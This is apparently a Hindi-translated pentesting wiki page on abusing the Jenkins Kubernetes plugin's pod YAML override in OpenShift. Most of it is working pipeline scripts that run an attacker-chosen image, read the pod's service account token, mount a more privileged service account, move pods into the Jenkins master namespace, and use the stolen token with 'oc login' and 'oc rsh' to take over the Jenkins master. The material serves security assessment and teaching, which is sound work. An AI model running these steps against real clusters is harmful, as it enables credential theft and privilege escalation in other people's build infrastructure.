OpenShift - Jenkins Build Pod Override

इस पृष्ठ के मूल लेखक हैं फारेस

जेंकिंस के लिए कुबरनेटीज प्लगइन

यह प्लगइन ओपनशिफ्ट/कुबरनेटीज क्लस्टर के भीतर जेंकिंस कोर कार्यों के लिए ज़्यादातर जिम्मेदार है। आधिकारिक दस्तावेज़ीकरण यहाँ इसमें कुछ कार्यक्षमताएँ शामिल हैं जैसे डेवलपर्स को जेंकिंस बिल्ड पॉड की कुछ डिफ़ॉल्ट विन्यासों को ओवरराइड करने की क्षमता।

कोर कार्यक्षमता

यह प्लगइन डेवलपर्स को उचित वातावरण में अपने कोड को बिल्ड करते समय लचीलापन प्रदान करता है।

podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: maven
image: maven:3.8.1-jdk-8
command:
- sleep
args:
- 99d
''') {
node(POD_LABEL) {
stage('Get a Maven project') {
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
container('maven') {
stage('Build a Maven project') {
sh 'mvn -B -ntp clean install'
}
}
}
}
}

कुछ दुरुपयोग पॉड yaml ओवरराइड का लाभ उठाना

हालांकि, इसका दुरुपयोग किया जा सकता है ताकि किसी भी एक्सेस के लिए उपलब्ध छवि जैसे कि Kali Linux का उपयोग किया जा सके और उस छवि से पूर्व-स्थापित उपकरणों का उपयोग करके विचित्र कमांड चलाया जा सकता है। नीचे दिए गए उदाहरण में, हम चल रहे पॉड के सेवा खाता टोकन को बाहर ले सकते हैं।

podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: kali
image: myregistry/mykali_image:1.0
command:
- sleep
args:
- 1d
''') {
node(POD_LABEL) {
stage('Evil build') {
container('kali') {
stage('Extract openshift token') {
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
}
}
}
}
}

एक अलग सिंटैक्स जो एक ही लक्ष्य को प्राप्त करने के लिए।

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

एक उदाहरण नामक्षेत्र को पॉड का अधिरोपण करने के लिए

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: RANDOM-NAMESPACE
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

एक और उदाहरण जो सेवा खाता माउंट करने की कोशिश करता है (जिसमें डिफ़ॉल्ट वाले से अधिक अनुमतियाँ हो सकती हैं, आपके बिल्ड को चलाने वाले) उसके नाम पर आधारित है। आपको पहले मौजूदा सेवा खातों का अनुमान लगाने या जांचने की आवश्यकता हो सकती है।

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: MY_SERVICE_ACCOUNT
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

यही तकनीक एक सीक्रेट माउंट करने की कोशिश के लिए लागू होती है। यहाँ अंतिम लक्ष्य होगा कि आपको पॉड निर्माण को कैसे कॉन्फ़िगर करना है ताकि आप प्रभावी रूप से पिवट या विशेषाधिकार प्राप्त कर सकें।

और आगे बढ़ें

जब आप इसके साथ खेलने में अधिक सक्षम हो जाते हैं, तो जेंकिंस और कुबरनेटीस/ओपनशिफ्ट पर अपने ज्ञान का उपयोग करें ताकि आप मिसकॉन्फ़िगरेशन/दुरुपयोग खोज सकें।

खुद से निम्नलिखित प्रश्नों को पूछें:

  • कौन सी सेवा खाता उपयोग की जा रही है निर्माण पॉड डिप्लॉय करने के लिए?

  • उसके पास कौन सी भूमिकाएँ और अनुमतियाँ हैं? क्या यह मेरे वर्तमान नेमस्पेस के सीक्रेट्स को पढ़ सकता है?

  • क्या मैं अन्य निर्माण पॉड को और अधिक जांच सकता हूँ?

  • एक संकटित sa से, क्या मैं मास्टर नोड/पॉड पर कमांड चला सकता हूँ?

  • क्या मैं क्लस्टर को और अधिक जांच सकता हूँ ताकि कहीं और पिवट कर सकूँ?

  • कौन सी SCC लागू है?

आप यहाँ यहाँ और यहाँ किस oc/kubectl कमांड को जारी करना है उसे जान सकते हैं।

संभावित प्राइवेस्क/पिवटिंग स्थितियाँ

चलिए मान लेते हैं कि आपके मूल्यांकन के दौरान पता चला कि सभी जेंकिंस निर्माण worker-ns नामक नेमस्पेस के अंदर चलते हैं। आपने पाया कि एक डिफ़ॉल्ट सेवा खाता default-sa निर्माण पॉड पर माउंट किया गया है, हालांकि इसके पास कुछ अनुमतियाँ केवल कुछ संसाधनों पर पढ़ने की पहुंच है लेकिन आपने पहचान लिया कि एक मौजूदा सेवा खाता master-sa है। चलिए मान लेते हैं कि आपके दौरान चल रहे निर्माण कंटेनर के अंदर oc कमांड स्थापित है।

नीचे दिए गए निर्माण स्क्रिप्ट के साथ आप master-sa सेवा खाता पर नियंत्रण ले सकते ह। और आगे जांच सकते ह।

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: master-sa
containers:
- name: evil
image: random_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
sh 'oc --token=$token whoami'
}
}
}
}
}
}

आपके एक्सेस पर निर्भर करता है, आपको या तो बिल्ड स्क्रिप्ट से अपना हमला जारी रखने की आवश्यकता है या फिर आप सीधे इस SA के रूप में लॉगिन कर सकते हैं चल रहे क्लस्टर पर:

oc login --token=$token --server=https://apiserver.com:port

यदि इस सा के पास पर्याप्त अनुमति है (जैसे पॉड/एक्जेक्यूट), तो आप जेंकिन्स इंस्टेंस कंट्रोल कर सकते हैं जब मास्टर नोड पॉड के अंदर कमांड एक्जीक्यूट करते हैं, यदि यह समान नेमस्पेस के अंदर चल रहा है। आप इस पॉड को आसानी से पहचान सकते हैं इसके नाम द्वारा और इस तथ्य द्वारा कि यह जेंकिन्स डेटा स्टोर करने के लिए उपयोग किए जाने वाले पीवीसी (स्थायी वॉल्यूम क्लेम) को माउंट करना चाहिए।

oc rsh pod_name -c container_name

यदि मास्टर नोड पॉड वर्कर्स के नेमस्पेस के अंदर नहीं चल रहा है, तो आप मास्टर नेमस्पेस को लक्षित करके समान हमले करने का प्रयास कर सकते हैं। हम मान लेते हैं कि इसे jenkins-master कहा जाता है। ध्यान रखें कि सेवा अकाउंट master-sa को jenkins-master नेमस्पेस पर मौजूद होना चाहिए (और worker-ns नेमस्पेस में मौजूद नहीं हो सकता है)।

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: jenkins-master
spec:
serviceAccount: master-sa
containers:
- name: evil-build
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Last updated